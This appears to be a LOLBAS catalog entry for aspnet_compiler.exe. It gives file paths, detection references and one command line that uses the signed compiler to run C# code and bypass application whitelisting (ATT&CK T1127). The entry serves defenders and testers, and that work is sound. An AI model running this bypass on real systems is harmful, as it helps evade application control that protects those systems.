.. /Aspnet_Compiler.exe

Star 7,060

AWL bypass

ASP.NET Compilation Tool

Paths:
c:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
c:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe

Resources:

- https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/
- https://docs.microsoft.com/en-us/dotnet/api/system.web.compilation.buildprovider.generatecode?view=netframework-4.8

Acknowledgements:

- cpl (@cpl3h)

Detections:

- BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
- Sigma: proc_creation_win_lolbin_aspnet_compiler.yml

AWL bypass

Execute C# code with the Build Provider and proper folder structure in place.

```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe -v none -p
C:\users\cpl.internal\desktop\asptest\ -f C:\users\cpl.internal\desktop\asptest\none -u
```

Use case:	Execute proxied payload with Microsoft signed binary to bypass application control solutions
Privileges required:	User
Operating systems:	Windows 10, Windows 11
ATT&CK® technique:	**T1127**: Trusted Developer Utilities Proxy Execution